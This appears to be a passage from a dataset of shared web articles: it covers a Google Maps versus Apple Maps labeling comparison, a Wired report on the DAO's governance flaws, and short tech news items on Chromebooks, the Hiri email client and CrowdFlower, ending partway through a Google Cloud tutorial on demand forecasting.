54 pairs of maps of three different cities: New York, San Francisco, and London. Each pair shows an identical area, pixel for pixel, on Google Maps and Apple Maps - at the exact same zoom: Speaking of New York , we'll center all of the New York map pairs on the Empire State Building: * * * For San Francisco , we'll center the map pairs on Patricia's Green, a park in the center of the Hayes Valley neighborhood: * * * And for London , we'll center the map pairs on Nelson's Column in Trafalgar Square: Why are we looking at New York, San Francisco, and London-and not some other cities or areas? First, we want to look at areas where the maps are most likely to be ""finished"" (i.e., areas where the maps are most likely to be complete and up-to-date.) San Francisco is Google's and Apple's backyard, so the maps should be really good there. And New York and London are two of the world's largest, most important cities-so they should've also gotten a lot of attention. We also want to look at very dense cities, cities where there'd be an enormous number of candidates for things to label . New York and San Francisco are the U.S.'s two densest major cities. And London is the E.U.'s largest city. Because of this ""density"" requirement, rural areas won't work for our purposes . In a typical rural area, the things that are labeled are the area's things-and Google and Apple are likely to label the same things. For this study, we want to see what Google and Apple label when they have thousands of things to choose from . We'll choose the Empire State Building, Patricia's Green, and Nelson's Column because they are all close to the centers of their respective cities , and they're all likely to have a variety of different things around them. Finally (and not coincidentally), San Francisco, New York, and London were the three cities where my recent essay, What Happened to Google Maps? , received the most views. (Thank you to everyone who enjoyed and shared that essay! ��) A couple of other notes before we begin: We're only looking at the maps themselves. (Search results, Turn-by-Turn navigation, Street View, Aerial / Satellite imagery, and Traffic displays are all out-of-scope.) We want to see what a map designed for a billion people looks like, so we're only looking at the default maps. (We'll look at map personalization in a later essay. Google offers it; Apple doesn't.) The map screenshots reflect the default , out-of-the-box experience that someone would have upon using them for the very first time. (The screenshots were taken on fresh installs, with clear browser caches - and no accounts were signed into, nor were any searches performed.) All maps, data, and screenshots reflect Google Maps and Apple Maps as they appeared on Saturday, May 14th, 2016. * * * For Part 1, we'll look at three core parts of the map: Cities , Roads , and Places. But how does Apple Maps compare? Does it show more cities than Google? Or fewer? Let's investigate... First, let's take all of our map pairs and count the number of city labels on them: Interesting. On nearly every zoom with city labels, Apple labels more cities than Google . To get a better sense of the differences, let's plot our counts above into a set of graphs: As the graphs show, there's certainly some big differences: Apple is labeling more cities than Google-and in many cases, significantly more . Let's combine the three cities into a single chart and see if we can see any patterns: Much clearer. And look what it shows: Apple, on average, labels more cities than Google at every zoom. The graph tells us that the biggest difference between Google and Apple is at z8. Let's take a look at that zoom across our three cities: First, New York: What a difference! Apple is showing way more cities than Google. It's not even close. (Here, Apple labels 44 cities, while Google labels just 10 .) I wonder why Google doesn't label more cities here? Let's look at San Francisco next: The pattern continues: Apple labels 48 cities, while Google labels just 13 . Though these are the most extreme examples, our graph showed that Apple, on average, labels more cities than Google at zoom. So to answer our first question, Apple Maps generally labels more cities than Google Maps on the maps we looked at . * * * We also saw in What Happened to Google Maps? that the number of roads shown on Google Maps has actually over time: How does that compare to Apple Maps? And which map-Google Maps or Apple Maps-shows more roads overall? Let's investigate that next... �� INVESTIGATION #2 Which Map Shows More Roads? Did you know that the first twelve zooms on each map only show a fraction of an area's actual roads? For instance, these are the roads that Google shows on its eighth zoom-level: And these are the area's actual roads, compared to the roads that Google shows: In the image on the left, you can clearly see where all of the Bay Area's cities are: there's so many roads in some areas (such as San Francisco), all we see are dark blobs. It looks cool, doesn't it? Now look at the image on the right. Google Maps is showing only a tiny fraction of the roads shown on the left. But that's by design. If Google showed all of the area's roads at this zoom, the map would be a cluttered mess, and it'd be difficult to trace any individual road. So Google instead simplifies the map and shows just a selection of the area's most important roads. Apple actually does the same-notice that it also doesn't show all of the Bay Area's roads at this zoom: So neither Google Maps nor Apple Maps shows all of the area's roads at this zoom: Interesting, isn't it? Which map-Google Maps or Apple Maps-shows more roads at more zooms? Let's tally it up: For almost two-thirds of the zooms, Google and Apple show roughly the same number of roads . But for the remaining zooms, where one map shows more roads than the other, it's almost always Apple that's showing more roads. So now that we've looked at roads, let's look at road labels ... which map shows more? * * * There are actually two kinds of road labels on Google Maps and Apple Maps: shields and text labels: Which map shows more of each? First, let's look at shields . We'll start by counting the number of shields on each zoom: Interesting. Now, Google's totals are higher for every city. Let's plot the counts: Our graphs show that Google almost always has more shields than Apple - especially at earlier zooms. In the first graph, the New York one, there's a huge difference at z8. Isn't that the same zoom we looked at a little earlier? The one where Apple labeled far more cities than Google? Let's take another look: Here, Google has 9 shields, while Apple has just 1 . So maybe that's the answer to our earlier question? ( ""Why doesn't Google label more cities here?"" ) Google is prioritizing over-while Apple is prioritizing over! I'm having déjà vu. Are you? Google, on average, shows significantly more shields at earlier zooms, while Apple shows more shields than Google after z12 (but not nearly as many as Google shows early on). This is quite different than what we saw with the city labels... Now that we've looked at shields, what about text labels for roads? Remember, those are the other kind of road labels on Google Maps and Apple Maps: It looks as if things are a bit closer here than they were for the shields - that is, except in London, where there's a wide difference early on, at z12 . Let's average the cities together: Google Maps, on average, shows more text labels for roads at every zoom . Looking at the graph above, there's still a big difference at z12 -the same zoom we saw that huge difference in London on the smaller graphs. Let's see what's going on there in London: Interesting. There's no shields on Google's map-instead, the route numbers are labeled as text. It actually seems to make the map look nicer. ( Perhaps this has something to do with local cartographic expectations? We'll take a look at that in one of the next essays. ) Labeling the roads with text instead of shields, Google ends up with 37 text labels at this zoom. Meanwhile, Apple has just a single text label entirely within view. That's quite a difference, but our graph showed that the largest difference, on average, was actually at z13 . Let's check out that zoom-but since we just looked at London, let's look at a different city. We'll look at San Francisco instead: Comparing the two maps, it certainly looks as if Google shows more text labels for roads. Let's count them up: Google has 28 text labels for roads, while Apple has just 7 ( 25% of Google's count ). And Google labels more of San Francisco's main streets: Market , Divisadero , Mission , Valencia , Guerrero , Dolores , Folsom , Franklin , Gough , Columbus , and Castro are all labeled on Google's map-but missing on Apple's. These are very different maps! So far, we've counted shields and text labels separately. And Google tended to show more of each. Let's quickly add up the totals for both shields and text labels to see the number of road labels on each map: Google Maps, on average, labels more roads than Apple Maps -in some cases, significantly more- on all but two zooms . This is especially interesting, given that Apple shows more roads than Google. Looking at the graph above, the biggest average difference in road labels between the two maps is at z9 . Let's take a quick look at that zoom across our three cities: We're seeing some really interesting results so far: Apple is labeling more cities . And Apple is also showing more roads . But Google has more road labels . Our z8 maps from earlier capture the pattern better than any map we've seen so far: The Google map has more road labels - 19 more than Apple . And the Apple map has more city labels - 34 more than Google . Two very different views of the same area! I keep thinking of our subway maps from What Happened to Google Maps? : Similar to subway maps, our maps below are simple network maps. The cities are the , and the roads are the . And there's basically nothing else labeled on these maps, other than cities and roads (lines and stations) : But it's strange: Google is good at labeling the lines-but not the stations. And Apple's good at labeling the stations-but not the lines. We're only getting half of the picture on each map. And both maps seem imbalanced, don't they? If only we could take the best of both maps above-Google's road labels and Apple's city labels-and somehow combine them together... Let's try a little experiment with our two z8 maps: We'll take the Google Map, but we'll remove its city labels-and we'll take the Apple Map, and we'll remove its shield: (The maps actually don't look too different with those labels removed.) Now let's combine the two maps together: And let's make it even larger: The information density on the combined map is interesting. Perhaps a bit too busy, but certainly interesting. And at least we're now seeing the whole picture. * * * So far, we've only been looking at Cities and Roads . Let's move on to a different part of the map: Places . Most paper maps never had enough room to show every ""place"" on them. Instead, they labeled a selection of an area's most interesting and important places, calling them "" Points of "" or "" POIs "", for short. But today, with multiple zoom-levels, there's plenty of room to show everything. Small businesses, apartment buildings, and even homes -  no place is too small or too unimportant to be shown on today's maps . It's hard to overstate just how big of a change this has been. Google only started adding labels and icons for businesses to its maps six years ago . But like a contagion, those little place icons have spread and multiplied to every corner of the map - and in doing so, they've quickly become a core, expected feature. The "" POI"" is dead - because today, every place is of interest . Given how important "" Places "" have become, let's find out which map-Google Maps or Apple Maps-labels more of them. First, we'll count up the total number of places on each zoom. Ah, there's our culprit: look at all of those Tube stations that Google is labeling at this zoom. Comparing the two maps, those Tube stations really add up! They help give Google a total of 38 places-versus just 14 for Apple: There really isn't much of a difference here: on average, it's less than five across all zooms. So for now, we'll conclude that Google Maps and Apple Maps label a similar number of places . * * * Now that we've seen that Google and Apple label a number of places, are they labeling the places? Or different places? Let's investigate that next... It's a super interesting question: how often are the pairs of maps labeling the exact same places (e.g., the exact same businesses, the exact same landmarks, the exact same parks, etc.)? For example, take these New York maps at z14: There are just 5 places that are labeled on both maps: Times Square, Bryant Park, Grand Central Terminal, the Empire State Building, and the Flatiron Building. But Google is actually labeling 24 places in total, while Apple is labeling 16 : That means that out of a combined total of 35 unique places on both maps, the two maps have only 5 places in common . That's really surprising. But is it the same for all zooms? Let's take all of our map pairs and count the number of place labels that both maps have in common: Now, let's take those totals and divide them by the total number of unique places on both maps, and see what kind of percentages we get: Wow. In New York, both maps have only 15% percent of their place labels in common! And in London, it's even lower-at just 13%! So, "" How often were the same places shown on both maps?"" Not often at all. And once again, the maps are very different from each other! * * * So as we just saw, the maps don't seem to label the exact places. But do they generally show the same of places? Let's look at that next... In a dense city like New York, there's so many different kinds of places: hospitals, parks, homes, schools, grocery stores, fire stations, skyscrapers, government buildings, cathedrals, universities-the list goes on and on, and it's seemingly endless. Take the maps below: there are thousands of different places that could've been labeled on either of these maps: But similar to what we saw with all of the Bay Area's roads, it would be impossible to show everything that's actually there and still have a legible map: Instead, the maps show just a tiny selection of everything that's actually there. Remember Faisal's picture of the Empire State Building at the beginning of this essay? That's a picture of the same area shown in the maps above. There's a lot of places there! But how do Google and Apple choose these places? (They had thousands to choose from-how did they end up with these ?) And are there specific kinds of places favored by each map? Let's dig into this more... First, we'll divide all of the places on Google Maps and Apple Maps into eight simple categories: Things to Do & See : Landmarks & attractions, entertainment (theaters, stadiums, and nightclubs), and recreation (parks and other spaces). Eat & Drink : Restaurants, bars, coffee shops, etc.-anywhere you can be served prepared food and beverages. Shopping & Services : Banks, hotels, shops, stores, markets, etc. Airports Transit Stations : Train and subway stations, bus and streetcar stops. Universities Hospitals Other : Anything that doesn't fit into the other seven categories: corporate headquarters, apartment buildings, homes, etc. Now that we have our eight categories, let's count how many categories appear on each map. We'll do it like this for each pair: And next, let's plot and average those counts: Interesting. At nearly every zoom, Apple Maps is showing a greater number of categories . Though given what we saw in New York (Apple showed five categories, while Google showed four), perhaps it isn't too surprising? Let's take a closer look at each zoom, and see if we can find some other patterns... While we were counting the number of categories on each zoom, I also recorded the number of places for each category shown: Interesting, isn't it? The two maps are really different. Early on, Apple shows airports , while Google shows transit stations . And then as you continue zooming in, both start showing a greater variety of places-though Apple shows a greater variety overall (just as we saw in our graphs). And this certainly matches the map we just looked at-there are lots of transit stations on Google's map and a greater variety of place categories on Apple's: Let's see if we see the same pattern in San Francisco: Here in San Francisco, we're generally seeing fewer places per zoom than we did in New York, but the results are largely the same: Google is prioritizing transit after the first few zooms, while Apple is prioritizing landmarks. Looking at the bar graphs above, z13 looks like one of the most different zooms between the two-let's take a closer look: Ah, this is that zoom where Apple showed very few text labels for roads. Remember that? But perhaps now we see why: Apple is actually showing a greater number of places here than Google ( 15 for Apple, versus 6 for Google). With so many more places labeled on the map, there's probably less room for road labels-hence, the lower road label count we saw earlier. But let's test this theory. First, we'll merge the two z13 maps together: Now, let's look and see if any of Google's road labels collide with Apple's places. Look at that! Apple's place labels collide with seven of Google's road labels. In other words, those place labels are occupying space on the map where roads could've been labeled. That's why we saw the lower road label count on Apple earlier. It's interesting, isn't it? Google is prioritizing roads , while Apple is prioritizing places . And that's why were seeing such noticable differences in the counts. But even when it comes to places , the maps are prioritizing different things: Above, Google is again prioritizing transit places, while Apple is prioritizing landmark places. And Apple is also showing a couple of hospitals and a famous bakery. What's more important on a map like this? Transit? Or landmarks and hospitals? Each map voted with its pixels, and it's interesting to see. (And here we're also seeing the argument for map personalization :Not everyone uses transit, so there might be places-such as landmarks-that are more important to some people. And when it's life-and-death, hospitals are the most important places in the world. But how often does the average person visit a hospital? Personalized maps are better at surfacing the most appropriate places for each person; but for the default map, still has to be chosen ... and that's what we saw above.) Do the patterns we've seen for New York and San Francisco also hold for London? Let's see: Ah, it's all of those Tube and rail stations we saw earlier. The icons don't have text attached to them, so Google is able to pack lots of them onto the map. (34 in total.) It's a clever way of increasing the map's information density: the icons give just enough information that you know that they're Tube stations-and without text, Google can fit even more of them on the map. That's why Google's count is so high at this zoom. Now that we've looked at each city individually, let's average them together to see the overall pattern: Google Maps prioritizes transit stations for several zooms, while Apple generally labels more landmarks . And as you zoom in, both maps show a increasing variety of categories. Both maps also show a surprising number of restaurants (the yellow parts of the bar graphs). But notice that the restaurants don't start appearing until later zooms. And that's another interesting point, isn't it? The places that each map feels are more important are shown earlier, while the places that each map feels are less important are shown later. It's clear that Google thinks transit is important, while Apple thinks that airports , hospitals , and landmarks are important. Two very different views of the world! Now that we have data on the kinds of places shown at each zoom, let's look at how balanced an average is on both maps: We'll use pie charts: A zoom is generally ""balanced"" if no single category comprises more than 50% of its places. And as you can see from the pie charts above, Google isn't particularly balanced for the first nine zooms it labels places on. And in comparison to Google, Apple generally has a better balance of place labels per zoom, overall. We've looked at the place categories that are shown on each zoom - but what about all zooms, taken together? Which category does each map show the ,across all zooms? In other words, which category is each map's favorite? Let's investigate this one last thing... We'll start by adding up all of the place labels in each city, across all zooms: Ok. Now, let's average all of the place labels across our three cities: More than anything else, Google Maps is labeling transit stations , while Apple is labeling landmarks . And Apple, on average, also shows twice as many restaurants and stores than Google. Interesting, isn't it? The maps are very different! Everything said, the number of transit stations labeled is clearly the largest difference between the two -and Google labels far more than Apple. And that's actually quite intriguing, given that Google also offers a dedicated transit map. But that's an interesting question, isn't it? If there's already a dedicated transit map, why not use the main map as an opportunity to show different, non-transit places? Then again, transit stations are important visual cues for way-finding -  even if you're not actually ""taking"" transit . And when transit stations are labeled with text, they actually double as area labels (e.g., Leicester Square, Charing Cross, Piccadilly Circus), adding even more detail to the map: So there's definitely value in labeling transit stations on the main map. But is that value still there if all of the stations aren't shown? For example, take another look at our San Francisco maps from earlier - the ones where Google prioritized transit and Apple prioritized landmarks and hospitals: If you're familiar with San Francisco, you might notice that even though Google is prioritizing transit, half of the BART stations are actually missing: There's actually a handful of stations missing here too: The missing stations provoke an interesting design question: if you can't label all of a system's stations, should be labeled? In other words, is it deceptive to only label some stations? (Some people using the map-tourists, especially-may not realize that some of the system's stations aren't labeled.) We saw earlier in San Francisco that Google seemed to be prioritizing road labels over place labels: Perhaps this is what's actually causing the missing BART stations? Notice below that road labels cover two of the missing BART stations, while the third missing station is clipped by the label for Downtown San Francisco (i.e., the ""Financial District"" label): There's so many things to label at this zoom (roads, places, districts, etc.), in such limited space-and only a handful of things can fit. Perhaps this is why Apple doesn't even seem to try to label transit stations? (Perhaps it knows that, with everything else that has to be labeled, it can't fit all of the stations?) Similar to Google, Apple also offers a dedicated transit map. And you get the sense that because Apple offers one, it instead uses its default map as an opportunity show different, non-transit places. Is that what's really going on? We don't know-but it's certainly interesting to observe such different approaches! And it goes to show just how difficult cartography really is: seemingly small decisions, such as prioritizing road labels over place labels, can impact the larger map in unexpected ways (such as preventing all of a city's transit stations from appearing together at the same zoom). It's all really fascinating. ▪︎ End of Part 1 We looked at 54 pairs of maps across three cities (New York, San Francisco, and London) and found several significant differences: Apple Maps, on average, labels more cities than Google at every zoom. Google Maps, on average, labels more roads than Apple on nearly every zoom. For two-thirds of zooms, both maps generally show the same number of roads . For the remaining third, Apple almost always shows more roads. Both maps, on average, label a similar number of POIs -but have only 15% of their POIs in common on an average zoom. Both maps also prioritize different kinds of POIs : Google Maps heavily prioritizes transit , while Apple prioritizes landmarks . Apple also generally shows a greater number of POI categories on a given zoom-and shows twice as many restaurants and shops as Google. We've covered a lot of ground, but we're just getting started. Now that we've looked at three important parts of the map (Cities, Roads, and Places), we'll turn our attention to what's on the maps, as a whole. For example, which map has more labels? And which map is more detailed overall? And does one map show things that the other map doesn't? It's only going to get more interesting. I hope you'll join me for Part 2 - coming soon. Justin O'Beirne | June 2016 Thank you to Faisal Yaqub and David Castor for contributing original photography.",en
1465274302,CONTENT SHARED,3611701510490148233,-1032019229384696495,-7696592431575292648,,,,HTML,http://www.wired.com/2016/06/biggest-crowdfunding-project-ever-dao-mess/,The Biggest Crowdfunding Project Ever Was Supposed to Create Manager-free Companies. But It's a Mess,"The Decentralized Autonomous Organization is a venture capital firm, like Andreessen Horowitz or Kleiner Perkins. It chooses new ideas and businesses to invest in. But the DAO isn't run by rich white Silicon Valley dudes. It's run by a network of machines that operate according to the same basic principles that drive the bitcoin digital currency. If you put money into the DAO, these machines let you vote on which new ideas it should invest in. The more money you put in, the more votes you get. By the time the deadline for investing in the DAO arrived late last month, about 10,000 people had anonymously poured more than $168 million into this new online creation. That makes it the largest crowdfunded project ever. Now, it's time for the DAO to start accepting pitches for all those anonymous people to vote on, bringing a new kind of democracy to the iconic flavor of capitalism that delivers so much modern technology. Just one problem: So far, all the pitches are suggestions for changing the DAO. A few hours before the investing deadline, a group of computer scientists described what they believe are fundamental flaws in the DAO, both security holes and flaws that discourage participants from voting honestly. The group called for a moratorium on pitches, and now, the DAO is effectively on hold as the community decides whether these flaws exist and how to fix them. For sure, even some of the DAO's biggest critics say it's a wonderful idea-a way of eliminating the kind of good ol' boy network that often drives not only VC firms but so many other kinds of corporations. But like so many projects that have sprung from the ingenious, decentralized creation that is bitcoin, the DAO is still very much a work in progress, a technology run by an insular community that's still a long way from changing the world. ""The DAO represents a promise and a dream,"" says Emin Gün Sirer, a Cornell researcher in self-organizing systems like cryptocurrencies and the ""smart contracts"" that underpin the DAO. He's also a co-author of the paper that laid out the flaws. ""The question is: Will it be up to snuff? Will it uphold that dream?"" Trying to build companies in an entirely new way doesn't come without risk. But no one expected the DAO to raise $168 million. That's risk on an enormous scale. ""This was very sloppily done and hastily done,"" says Patrick Murck, a lawyer and fellow at the Berkman Center for Internet & Society at Harvard University. ""That's unfortunate, because there is definitely something to the idea."" Anatomy of The DAO Yes, this is an insular community. The DAO is based on Ethereum , an online system billed as an improved version of bitcoin, and many of the prominent figures in the Ethereum community are also working on the DAO, including some of the ""curators"" who decide which pitches get sent to the community. What's more, the project was created by European company, Slock.it, that hopes to use it to fund a separate project involving Ethereum and ""the Internet of Things."" When the first real pitch comes in on the DAO, it will be from Slock.it. But first, the community has to fix it. Sirer says the DAO's biggest problem is that it doesn't encourage honest voting on new pitches. When a pitch comes in-asking for a certain amount of funds for a particular project and promising a certain return for each community member-anyone in the community can vote yes or no, or abstain. If you've invested more money, your votes carry more weight. The trouble, Sirer and his co-authors argue, is that voting on a project also freezes funds you've put into the DAO-even if you vote no. You can't withdraw funds while a vote is in progress, and if voters approve a project, that's where your funds go, regardless of how you voted. So if you don't believe in a project, you're better off abstaining than voting no. In theory, software developers could build any kind company in this decentralized way. What's more, you can only vote on one pitch at a time. If you vote on one project and a better one comes up, you're out of luck. That's another reason to abstain. As a result, all projects are more likely to gain approval-people just won't have the incentive to vote no. ""It's biased toward funding,"" Sirer says. ""That makes the DAO a very dangerous vehicle."" Now Vlad Zamfir, one of Sirer's co-authors and a prominent member of the Ethereum community, is helping pump the brakes on the DAO. Zamfir is one of the system's curators, chosen by Slock.it engineers to ""whitelist"" pitches before they go before the broader community. Zamfir is calling on all curators to refrain from whitelisting until the DAO's makers solve any fundamental flaws. But fixing the DAO would have to be every bit as democratic as investing with it. And democracy is messy. Democratic Disarray Like bitcoin, the DAO is open source. The code runs across a network of independent machines, and anyone can change the code, provided the community agrees to the changes. A majority of the DAO's ""voting power"" must vote to approve a particular change, with voting power determined by how much money a voter has invested. That is part of the power of the system. ""I appreciate so many people looking at this-because so much money was raised,"" says Christoph Jentzsch, the CEO of Slock.it and one of the original authors of the code. About half of the $168 million came from about 70 addresses. But that kind of collectivism can also be a real hindrance. The bitcoin project itself has experienced enormous tumult -with one prominent community member calling it "" a failure ""-because contributors to the code couldn't agree on the project's direction. Jentzsch says that changes to the DAO could happen fairly quickly-that the community just needs to agree on what should happen. But Sirer believes months or even years could go by. Predicting the outcome is difficult, since no one really knows who has poured so much money into the DAO or what their motivations are. Investments arrived from about 22,500 different Internet addresses, but the same people could be using multiple address. Jentzsch guesses about 10,000 individual investors in all have contributed to the project. A few individuals seem to have an especially great interest in the project: About half of the $168 million came from around 70 addresses. The DAO's Insecurities But even if the DAO overcomes flaws in its structure and code, it still has other problems. Like, it might be illegal. Murck, the Harvard lawyer, says that the DAO is trading in securities and that it hasn't received proper approval from regulatory bodies like the Securities and Exchange Administration. ""There is clearly a concern when it comes to securities law,"" he says. ""I don't think the SEC would have trouble attaching liability to someone involved."" That liability might not be limited to Jentzsch and the other creators of the DAO, but also extend to curators and even investors. That doesn't bother Jentzsch. While acknowledging that he's not a lawyer, he argues that shares in the DAO are not securities. And it doesn't bother Paolo Anziano, who has invested the equivalent of $7,000 in the project. ""This is technology that will change the shape of the financial process,"" he says. But like the other apparent flaws in the DAO, legal uncertainty could keep this big idea from spreading. Like a lot of other self-organizing systems, the DAO just isn't that well-organized. At least, not yet.",en
1465274456,CONTENT SHARED,8962537427807366481,-1032019229384696495,-7696592431575292648,,,,HTML,http://www.wsj.com/articles/why-its-time-to-take-googles-pc-operating-system-seriously-1465185662,Why It's Time to Take Google's PC Operating System Seriously,"For most of my working life, I've used Macs at home and Windows PCs at work. But a couple of years ago, intrigued by a change in the winds of computing-from the desktop to the cloud-I decided to give Google's Chromebooks a chance. Now, to my surprise, I use the Chrome operating system for all my nonmobile computing. Thanks to continuous...",en
1465309434,CONTENT SHARED,-3499919498720038879,-1032019229384696495,-7696592431575292648,,,,HTML,http://techcrunch.com/2016/06/07/hiri/,Hiri wants to fix the workplace email problem,"Hiri is the latest startup trying to fix email. Specifically, the Dublin-based company is targeting workplace email with an array of features that aim to nudge users to change their email behaviour for the better. For it isn't email that is necessarily broken but the way we all use and abuse it. Starting with the premise that thoughtless and un-targeted emails fill a very high percentage of your work email inbox, Hiri's headline feature is the ability for recipients to rate each email they receive, which serves as the basis for your own email score or email analytics. You've given a weekly score based on feedback received relating to clarity, brevity, and tone, and the software's rating of your overall email behaviour. The idea, the startup's CEO and co-founder Kevin Kavanagh told me during a call last week, is to get employees thinking about how they currently use email and to begin to change their behaviour for the better. The weekly score also ensures employees don't return to bad email habits. Citing research from the UK's University of Loughborough that found the average employee spends 2.5 hours a day on their work email and checks its 96 times a day, which equates to every five minutes, Kavanagh says that most employees would benefit greatly from checking email less. That's because not only is email a time sinker in itself but the time it takes to recover from having your flow interrupted also adds up. This is probably most extreme for tasks where intense concentration and getting 'in the zone' is paramount, such as coding. Hiri's second and blunter tool prevents you checking email too often. You are made to wait 30 minutes between inbox visits. However, my favourite feature of Hiri is the way it asks you to explicitly separate emails you send into two groups. Ones that are just an FYI, and ones that require further action. It's a very simple idea but one that I think could be incredibly effective. An unspoken rule of the workplace is that people routinely loop colleagues and superiors into emails so that if the shit hits the fan they can always share or evade responsibility. That's created an explosion in email, making it easy to miss those that are task-related. Hiri's simple categorisation feature, which actually renames the CC field, aims to fix this. Emails you send with Hiri can be labeled as requiring an action, which automatically creates a task for the main recipient(s), a question, or as an FYI. You can also drag and drop any email you receive into your task list. And when composing an email you are asked to write a subject line last. The thinking here is that writing a subject line is easier and makes more sense after you've actually written what you wanted to say in the body of the email. Of course, the startup's biggest challenge is going to be penetrating the enterprise, since Hiri needs to be installed right across the workplace for it to be truly useful. That's something Kavanagh concedes but says the company is tackling on three fronts. Firstly, Hiri is essentially an email client, compatible with MS Exchange and MS Office 365. In other words, it doesn't replace a company's existing email infrastructure. Secondly, the startup has developed a neat Outlook plugin that measures the amount of time that employees spend on email. The idea is that a company can install this before adopting Hiri to see how bad the problem is first. The plugin also captures the number of times that employees switch from other applications to check their mail. Lastly, the modestly funded Hiri has some decent backers who no doubt can help open doors in the enterprise. They include a Global Director of Facebook and an EMEA Director of LinkedIn. And most recently, the startup picked up a $1 million seed round from Delta Partners, ACT Venture Capital, and Enterprise Ireland. This brings total funding to $1.6 million.",en
1465309872,CONTENT SHARED,201515581783532281,-1443636648652872475,-3221107014894071365,,,,HTML,http://venturebeat.com/2016/06/07/crowdflower-raises-10-million-from-microsoft-and-others-to-bring-ai-to-data-science/,CrowdFlower raises $10 million from Microsoft and others to bring AI to data science,"CrowdFlower , a crowdsourced data-cleaning and tagging platform, has closed another $10 million in funding in a round led by Microsoft Ventures, Canvas Ventures, and Trinity Ventures. Founded out of San Francisco in 2009, CrowdFlower had already raised $28 million before today, including a $12.5 million round back in 2014, but the company says it will use its fresh cash influx to expedite the adoption of a new machine-learning product called CrowdFlower AI . CrowdFlower will use a combination of humans and artificial intelligence to ""make data useful"" through helping teams organize their data more effectively at scale. For example, a company may have a large database of numbers and demographics, but some fields may be empty, incorrect, or incomplete - something that a human is best placed to fix. So when a company uploads its data into CrowdFlower and stipulates the rules, humans from around the world link in and do the labeling manually. From this, a machine-learning model can be created and, where the machine is confident about a label, automation kicks in. If the system is not sure, humans carry on. Ultimately, it's designed to improve over time so that the more human-generated labels are fed in, the more intelligent the platform becomes. It's worth noting here that the data that's uploaded can be anything from images and text to URLs and addresses. Microsoft's involvement, through its Microsoft Ventures division, is consistent with the computing giant's moves elsewhere in the AI realm. Last year we reported on how Microsoft was using big data to predict traffic jams , and just a few months back it launched a new platform that's seeking to improve AI using Minecraft. ""At Microsoft, we're looking to create experiences for people and businesses where technology intelligently supports what they're doing,"" explained Nagraj Kashyap, corporate vice president atMicrosoft Ventures. ""CrowdFlower's approach - combining human and machine intelligence to solve all types of unstructured data problems - aligns with that effort. We look forward to supporting them in their next phase of growth in the broader machine learning and AI market."" From drug discovery and enterprise software through customer service , predictive typing and stock photography searches , artificial intelligence and machine learning have emerged as key tools in the armory of many other major tech companies too, and it's something the folks at CrowdFlower are looking to emulate by making AI smarts more accessible to every business that works with data. ""We've seen companies like Tesla and Uber build large data science teams and adopt AI and machine learning to solve billion dollar problems like driverless cars,"" added Lukas Biewald, founder and CEO at CrowdFlower. ""But we wanted to bring AI and machine learning within the reach of every business to attack million dollar problems such as classifying customer support tickets or generating customer insights from social data. With CrowdFlower AI, companies can now easily deploy machine learning models that are commercially viable at a much lower price point."" CrowdFlower doesn't advertise the pricing for its various tiers, but it does now have a Pro + AI plan for companies seeking to introduce machine learning models into their broader business. AI. Messaging. Bots. Arm yourself for the next paradigm shift at MobileBeat 2016. July 12-13 at The Village in San Francisco. Reserve your place here.",en
1465310489,CONTENT SHARED,8847604225354271039,-1443636648652872475,-3221107014894071365,,,,HTML,https://cloud.google.com/blog/big-data/2016/05/how-to-forecast-demand-with-google-bigquery-public-datasets-and-tensorflow,"How to forecast demand with Google BigQuery, public datasets and TensorFlow | Google Cloud Big Data and Machine Learning Blog","Demand forecasting is something that every business does. If you're a restaurant owner, you need to forecast how many diners you'll have tomorrow and what foods they'll order so that you know what ingredients to shop for and how many cooks to have in your kitchen. If you sell shirts, you need to predict in advance how many shirts of each color you need to order from your clothing manufacturer. Usually, business owners forecast demand using their gut-feel (""people are going to order more souffles than omelettes"") or rules of thumb (""stock more red turtlenecks around Christmas""). The problem with gut-feel or rules of thumb is that they're rarely quantitative. How many more souffles will be ordered? How many more red turtlenecks should we stock? Could you use machine learning to forecast demand more precisely instead of relying on gut-feel or rules of thumb? If you have enough historical data from your business, you can. In this blog post, we'll show you how. Machine Learning First: what is machine learning? Normally, when you want a computer to do something for you, you have to program the computer to do it with an explicit set of rules. For example, if you want a computer to look at an image of a screw on a manufacturing line and figure out whether the screw is faulty or not, you have to code up a set of rules: Is the screw bent? Is the screw head broken? Is the screw discolored? etc. With machine learning, you turn the problem around on its head. Instead of coming up with all kinds of logical rules for why a screw might be bad, you show the computer a whole bunch of data. Maybe you show it 5,000 images of good screws and 5,000 images of faulty screws that your (human) operators discarded for one reason or the other. Then, you let the computer figure out how to tell a bad screw from a good one. The computer is the ""machine"" and it's ""learning"" to make decisions based on data. Forecasting taxicab demand in New York City Let's say you're the logistics manager for a taxicab company in New York, and you need to decide how many drivers you will ask to come in this coming Thursday. You know something about taxis in New York. You know, for example, that demand will depend on the day-of-the-week (demand on Thursdays is different from demand on Mondays) and on the weather forecast for Thursday. These are our predictors - the things we'll use to create our prediction. We also need to decide what it is that we wish to predict. Let's say that we'll predict the total number of taxicab rides (city-wide) on a particular day. We could assume that we'll get our typical share of those rides, and call in that many drivers. Put another way, this is our machine learning problem: Predictors and target Google BigQuery public datasets include both overall taxicab rides in New York (as the table nyc-tlc:green) and NOAA weather data (as the table fh-bigquery:weather_gsod), and so we decide to use those as our input datasets. The overall taxicab rides is only a proxy for the actual demand - the demand may have been higher than the actual number of rides if there were not enough taxis on the street or if the taxis were in different parts of the city from where the demand existed. However, this dataset is a good place to start if we assume the market for taxis in New York is efficient. If your business does not involve taxicabs or depends on something other than weather, you would load your own historical data into BigQuery. In Google Cloud Datalab , you can run BigQuery queries, and get the result back in a form that's usable from within Python (the full Datalab notebook , along with a more detailed commentary, is on github): Similarly, run a BigQuery query to get the number of taxicab rides by the daynumber (which represents the day of the year, e.g., daynumber=1 is New Year's Day): By merging the weather and trips datasets, we end up with the complete dataset to use for machine learning: That's our historical data, and we can use this historical data to predict taxicab demand based on the weather. Benchmark When doing machine learning, it's a good idea to have a benchmark. This will be a simple model, or perhaps be what your gut-instinct would tell you. We can evaluate whether the machine learning model is better than this benchmark by trying out both the simple model and the machine learning one on a test dataset. In order to create this test dataset, we'll collect all our training data, and then split it 80:20. We'll train the model on 80% of the data, and use the remaining 20% to evaluate how well the machine learning model does. A reasonable benchmark would be to use the average taxicab demand over the entire time period. If we can do better than just going with the average, our machine learning model is skillful . To measure how well a model does, we'll use the root-mean-square error. You could choose some other measure that's pertinent to the business problem you're solving. For example, you could compute the overall loss in revenue by having too few or too many drivers on a day and use that as your measure. Because the root mean square error (RMSE) when using the average is about 12,700, that's the measure we wish to beat using machine learning. In other words, we want a RMSE that's lower than 12,700. TensorFlow TensorFlow is a software library that was open-sourced by Google in 